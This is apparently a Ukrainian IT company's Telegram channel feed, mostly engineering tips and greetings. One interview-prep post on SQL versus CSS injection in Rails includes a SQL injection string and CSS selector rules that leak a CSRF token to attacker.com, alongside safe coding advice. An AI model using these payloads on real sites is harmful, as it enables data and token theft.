Codica - корисне про IT
رفتن به کانال در Telegram
Привіт, друже, це канал про корисності в ІТ🤘 🔺Даємо практичні матеріали з RoR, JavaScript, QA, DevOps 🔺Розкажемо як знайти першу роботу без хвилювань та проблем ✍️Для звʼязку-@klimenko_nataly 👉 Відкриті вакансії - www.codica.com/careers
نمایش بیشتر2 085
مشترکین
اطلاعاتی وجود ندارد24 ساعت
-97 روز
-1630 روز
آرشیو پست ها
📌 Архітектура та проєктування
👉 System Design Primer (GitHub): Біблія для тих, хто хоче розуміти, як проєктувати масштабні, надійні та високонавантажені системи.
👉 Refactoring.guru: Ідеальний візуальний гід по патернах проєктування (Design Patterns), антипатернах та принципах чистого коду, які працюють у будь-якому стеку.
📌 Бази даних та інфраструктура
👉 UseTheIndexLuke: Культовий ресурс про те, як насправді працюють індекси в базах даних і чому ваші запити можуть гальмувати.
👉 roadmap.sh: Інтерактивні дорожні карти для будь-якої ІТ-спеціальності. Допомагають закрити сліпі зони та побачити повну картину своєї професії.
📌 Безпека та інженерна культура
👉 PortSwigger Web Security Academy: Найкраща безкоштовна платформа для вивчення веб-вразливостей (OWASP Top 10) на практиці. Must-read для написання безпечного коду.
👉 The Pragmatic Engineer: Інсайдерська розсилка про реальні процеси, культуру та інженерні практики в топових світових компаніях.
📌 AI для щоденних задач
👉 DeepLearning.AI (короткі курси від Ендрю Ина): Серія практичних матеріалів про те, як розробникам ефективно інтегрувати LLM, створювати агенти та використовувати ШІ у робочих процесах.
Зберігайте, щоб не загубити, і діліться в коментарях:
якими незвичними ресурсами користуєтеся ви? 👇
TikTok | Instagram | Telegram
Друзі, ану кажіть: що ви читаєте чи дивитесь окрім тих самих базових курсів, через які ми усі пройшли ввесь свій шлях на початку?
Якщо досі шукаєте щось дійсно корисне, глибоке і ширше за конкретну мову програмування — вам пощастило.
Ми зібрали топ універсальних ресурсів, які стануть у пригоді бекендерам, фронтендерам, QA та інженерам будь-яких напрямків👇
#codica_advice
⚙️ Закон Хайрума (Hyrum’s Law)
“За достатньої кількості користувачів будь-яка спостережувана поведінка системи стане залежністю для когось.”
👨💻 Що це означає для розробників
• навіть неофіційні або випадкові side-effects можуть почати використовувати;
• зміна дрібної логіки іноді ламає чужі інтеграції;
• backward compatibility стає критичною.
📊 Що це означає для менеджерів
• рефакторинг без аналізу usage може створити продакшн-проблеми;
• release notes і migration guide — не формальність, а необхідність;
• стабільність API важливіша за “красивий” код.
💡 Простий приклад
API повертає список у певному порядку, хоча це не задокументовано.
Команда змінює сортування — і раптом падають десятки клієнтських інтеграцій, які на це покладались.
Як працювати з цим законом:
✔️ не змінювати поведінку API без аналізу реального використання
✔️ додавати versioning для критичних змін
✔️ спостерігати за telemetry і логами перед релізами
💬 Якщо щось видно назовні — хтось уже на це спирається. Плануйте зміни так, ніби кожна дрібниця вже стала контрактом.
TikTok | Instagram | Telegram
🧠 13 законів розробки
У будь-якому продукті з часом з’являється більше сценаріїв використання, ніж планувалося на старті.
І навіть ті дрібні деталі, які здаються “несуттєвими”, можуть раптово стати критично важливими для реальних користувачів.
Закони, які вже розглянули:
👉 Закон Паркінсона
👉 Закон Хофштедтера
👉 Закон Брукса
👉 Закон Конвея (і зворотний закон Конвея)
👉 Закон Каннінгема
👉 Закон Стерджена
👉 Закон Завінскі (Zawinski’s Law)
Сьогодні — закон, який добре знайомий усім, хто підтримує великі системи 👇
⚙️ Закон Хайрума (Hyrum’s Law)
“За достатньої кількості користувачів будь-яка спостережувана поведінка системи стане залежністю для когось.”
👨💻 Що це означає для розробників
• навіть неофіційні або випадкові side-effects можуть почати використовувати;
• зміна дрібної логіки іноді ламає чужі інтеграції;
• backward compatibility стає критичною.
📊 Що це означає для менеджерів
• рефакторинг без аналізу usage може створити продакшн-проблеми;
• release notes і migration guide — не формальність, а необхідність;
• стабільність API важливіша за “красивий” код.
💡 Простий приклад
API повертає список у певному порядку, хоча це не задокументовано.
Команда змінює сортування — і раптом падають десятки клієнтських інтеграцій, які на це покладались.
Як працювати з цим законом:
✔️ не змінювати поведінку API без аналізу реального використання
✔️ додавати versioning для критичних змін
✔️ спостерігати за telemetry і логами перед релізами
💬 Якщо щось видно назовні — хтось уже на це спирається. Плануйте зміни так, ніби кожна дрібниця вже стала контрактом.
TikTok | Instagram | Telegram
«Цундзуку» (Tsundoku) — японське слово, яке означає купівлю книг, які ви ніколи не прочитаєте, через що вони просто лежать і припадають пилом стопками.
👉 Як це в IT: Ваша папка «Bookmarks» у браузері, збережені курси на Udemy за знижкою 90%, 15 куплених доменів під «майбутні стартапи», які ніколи не відкривалися, та 40 відкритих вкладок із репозиторіями на GitHub, які ви «обов'язково розберете на вихідних».
Це колекціонування корисного контенту замість його реального споживання.
👉 Як це використовувати в житті: Коли колеги в чаті знову запитають, навіщо ти купив підписку на черговий ШІ-інструмент або складний курс з архітектури, хоча старі ще не пройшов, відповідай гордо: «Це не лінь, це моє цифрове цундзуку. Цей склад колись знадобиться, я ж сеньйор».
TikTok | Instagram | Telegram
Йо, друзі, з вами наша постійна рубрика #IT_словник
Ми зібрали рідкісні, дивні та абсолютно геніальні слова з усього світу, які ви навряд чи чули, але які на 100% описують будні в розробці. Розширюємо вокабуляр, качаємо софт-скіли, піднімаємо настрій і вчимося витончено тролити колег та ПМ-ів.
Читайте попередні пости рубрики:
📌 "Гігіл" — читати тут
📌 "Торшлюспанік" — читати тут
Гортайте нижче, тегайте в коментарях тих, кому це життєво, і погнали! 🔥
+8
Друзі, давайте чесно.. Бувало таке, що день пролетів, ти закрив мільйон чатів, відсидів п'ять созвонів, пофіксив якусь дрібницю, а ввечері сидиш із думкою: «І що я реально зробив(ла)?». Втома на 100/10, а результату — нуль 🫠
#НапуттяВід_HR Директорки Клименко Наталії
Наша HR Director Наталі, яка вже 20 років крутиться в IT-командах, розібрала цей парадокс: чому ми всі пекельно втомлені, але без результату?
👉 Як вижити, коли Slack розривається, дедлайни горять, а мозок плавиться від контекст-світчингу — читайте в картках!
TikTok | Instagram | Telegram
What is the difference between SQL Injection and CSS Injection?
📌 Очікувана відповідь:
Обидві атаки належать до класу ін‘єкцій (впровадження стороннього коду), але працюють на різних рівнях абстракції, мають абсолютно різні вектори виконання та наслідки:
👉 SQL Injection (SQLi) — атака на рівні бекенду та бази даних. Зловмисник змінює логіку SQL-запиту, щоб отримати несанкціонований доступ до БД (читання, модифікація або видалення даних).
👉 CSS Injection — атака на рівні клієнтської сторони (браузера). Зловмисник впроваджує шкідливі стилі, щоб змінити UI (фішинг, UI redressing) або ексфільтрувати (викрасти) чутливі дані, які вже присутні в DOM-дереві (наприклад, CSRF-токени), за допомогою селекторів.
📌 Базові приклади в розрізі Rails:
# НІКОЛИ ТАК НЕ РОБІТЬ
User.where("email = '#{params[:email]}'")
# Якщо params[:email] буде: a' OR '1'='1, запит вибере всіх користувачів бази даних.
Safe код у Rails (Active Record автоматично використовує підготовлені запити — prepared statements):
User.where(email: params[:email])
# Або через плейсхолдери:
User.where("email = ?", params[:email])
Приклад CSS-ін’єкції (через відсутність фільтрації у контексті стилів):
Якщо застосунок дозволяє кастомізувати тему профілю і виводить значення безпосередньо у тег <style> без очищення:
<style>
.user-profile { background: <%= params[:theme_color] %>; }
</style>
Якщо зловмисник передасть у params[:theme_color] конструкцію, що закриває поточне правило, він може застосувати послідовний перебір чутливих атрибутів (наприклад, CSRF-токена в прихованому інпуті):
x; }
input[name="authenticity_token"][value^="a"] { background-image: url('https://attacker.com'); }
input[name="authenticity_token"][value^="b"] { background-image: url('https://attacker.com'); }
Браузер побачить збіг першої літери токена з атрибутом value у HTML та надішле на сервер зловмисника тригерний HTTP-запит для завантаження фону. Наступними запитами (або через генерацію послідовних @import) зловмисник дізнається весь токен.
📌 Детальний розбір механізмів:
1️⃣ Область дії (Scope):
👉 SQLi: Сервер і база даних. Загрожує витоком або знищенням усієї БД.
👉 CSS Injection: Браузер жертви. Загрожує витоком статичних даних з DOM (токени, особисті дані у text-вузлах через лігатури), перекриттям оригінальних кнопок фейковими формами (Clickjacking / UI redressing).
2️⃣ Як захищає Rails "з коробки":
👉 Від SQLi: Active Record екранує всі параметри, які передаються через хеші. Вразливість виникає лише за умов використання сирого SQL з інтерполяцією рядків #{}.
👉 Від CSS-ін'єкцій: Стандартний html_escape від Rails захищає від виходу з HTML-контексту (наприклад, не дасть закрити тег </style>). Проте, якщо ви використовуєте методи raw, html_safe, або дозволяєте користувачам підвантажувати власні CSS-файли чи inline-стилі без глибокої санітизації через спеціалізовані парсери (наприклад, rails-html-sanitizer з жорстким білим списком властивостей), застосунок стає вразливим.
3️⃣ Специфіка JS/SPA застосунків:
Для сучасних JS-фреймворків (React, Vue) CSS-ін‘єкція також небезпечна через CSS-in-JS рішення або динамічні ін’єкції стилів. Якщо токени або стейт рендеряться в HTML-атрибути елементів (наприклад, data-token), CSS-селектори зловмисника легко їх прочитають без жодного рядка на JavaScript.
🍀 Розуміння безпеки на стику технологій та знання реальних обмежень браузерних рушіїв — це те, що відрізняє Senior-розробника від звичайного кодера.
Пишіть безпечний код і будуйте надійні системи. Продуктивного тижня!
TikTok | Instagram | Telegram🎯 Як відповідати на технічні питання на співбесіді?
#codica_interviews
✅ Хороший інженер — бачить архітектуру та загрози безпеці комплексно.
❌ Початківець — сподівається, що фреймворк усе зробить за нього.
+5
З Днем Незалежності України, друзі! 💙💛
Це не просто дата, це день нашої сили, день свободи, яка виборюється щомиті неймовірно дорогою ціною.
Ми до нестями любимо свій дім, любимо Україну, бо тільки тут дихається на повні груди й живуть найрідніші люди. Наша незалежність — вона не десь далеко, вона всередині кожного з нас.
Прямо зараз за неї на передовій б‘ються наші захисники. Пишаємося ними до сліз, шануємо й пам’ятаємо кожного та кожну. Бережімо цей вогонь у серцях.
Зі святом! Слава Україні! 🇺🇦✨
TikTok | Instagram | Telegram
З Днем міста, наш рідний, незламний Харкове! 🏛️❤️
Багато хто з вас знає, що наша компанія народилася саме тут. Зараз ми не в місті локально, але наше серце назавжди залишилося там.
Сьогодні ми подумки вдома. Згадуємо, як гуляли знайомими вуличками, ходили в театр і який галас зазвичай стоїть на Сумській цими днями. Цю атмосферу не передати словами — її можна тільки відчути.
Ми неймовірно сумуємо за нашою домівкою. Бо де б ми не були, знаємо на сто відсотків: кращого міста на землі немає і, мабуть, ніколи для нас не буде.
Любий Харкове, квітни, процвітай, тримайся попри все і завжди чекай на нас. А ми обіцяємо повернутися.
Зі святом, друзі! З днем нашого найкращого міста!
TikTok | Instagram | Telegram
З Днем Державного Прапора, друзі! 💙💛
Для нас цей день — не про офіційні промови. Наш прапор давно став чимось значно більшим: нашою ідентичністю та генетичним кодом.
Ми ніколи не забудемо, як наші звільнені з полону воїни плачуть, притискаючи синьо-жовтий стяг до обличчя. Як люди в окупації, ризикуючи життям, закопували прапори в городах, щоб зберегти волю. Як військові під кулями підіймають його над звільненими містами, повертаючи туди життя.
Ці два кольори назавжди всередині нас — у кожному подиху та в кожній перемозі.
Бережімо наш стяг, пам’ятаймо тих, хто віддав за нього життя, і тримаймося одне одного. Зі святом!✨
TikTok | Instagram | Telegram
Друзі, всім продуктивного та трохи міжнародного вихідного 🌍
бо здається, що без англійської зараз навіть холодильник тебе не зрозуміє 😄
Тому сьогодні корисна знахідка, яка прокачає ваш рівень 👇
➡️ Курс англійської мови
Аж 50 уроків українською мовою від простого до складного, можна системно пройти базу і нарешті перестати казати “I understand but can’t speak” 😄
⏱ Тривалість — серія уроків
Нехай ці вихідні будуть з користю, новими словами і хоча б одним реченням англійською без Google Translate ☕
TikTok | Instagram | Telegram
➡️ Callbacks: зручно, поки не стає боляче
Callbacks створюють неявну бізнес-логіку, яку важко відстежити, тестувати й контролювати.
Ми всі так робили 🙂
Як це виглядає
class Order < ApplicationRecord
after_create :send_email
after_save :update_statistics
after_commit :sync_with_crm
private
def send_email
...
end
end
Спочатку — зручно.
Потім у моделі вже 6 callback-ів.
А потім ти не можеш пояснити, чому щось запускається двічі.
У чому проблема
🔹 Логіка стає неявною
🔹 Побічні ефекти розкидані
🔹 Важко зрозуміти порядок виконання
🔹 Тести стають крихкими
🔹 Дебаг займає більше часу, ніж написання
Callbacks — це implicit behavior.
А implicit behavior складно масштабувати.
Де особливо небезпечно
• фінансові операції
• інтеграції з зовнішніми сервісами
• зміна статусів
• створення пов’язаних записів
Особливо якщо callback викликає ще одну модель… яка має свої callbacks.
Що робити замість цього?
1️⃣ Явна бізнес-логіка
CreateOrder.new(params).call
Service object робить те, що написано.
2️⃣ after_commit замість after_save
Якщо вже використовуєш callback — не роби побічні ефекти до коміту в БД.
3️⃣ Мінімізувати кількість callback-ів
Якщо їх більше 2–3 — це сигнал задуматись.
Маленьке правило, що рятує нерви
Якщо ти не можеш швидко відповісти “чому цей код спрацював” — подивись у callbacks.
Скільки callback-ів максимум ви бачили в одній моделі? 😄
TikTok | Instagram | TelegramСпочатку callbacks здаються ідеальним рішенням: Rails усе зробить сам.
А потім приходить момент, коли ніхто вже не розуміє: хто, коли і чому запускає цей код. І замість зручності отримуємо приховану логіку, складний дебаг і страх щось змінити.
Продовжуємо нашу серію:
🚀 Rails без магії: 7 помилок, які роблять навіть мідли
Попередні пости серії:
📍 Rails без магії: 7 помилок, які роблять навіть мідли
📍 Background jobs: чому “просто Sidekiq” — не завжди просто
📍 Transactions у Rails: чому “і так працює” — небезпечна ілюзія
📍 DB constraints: чому Rails validation — це не гарантія
📍 Fat model / Fat controller: коли клас росте швидше за проєкт
📍 N+1: коли все працює… поки не з’являються реальні дані
#codica_advice
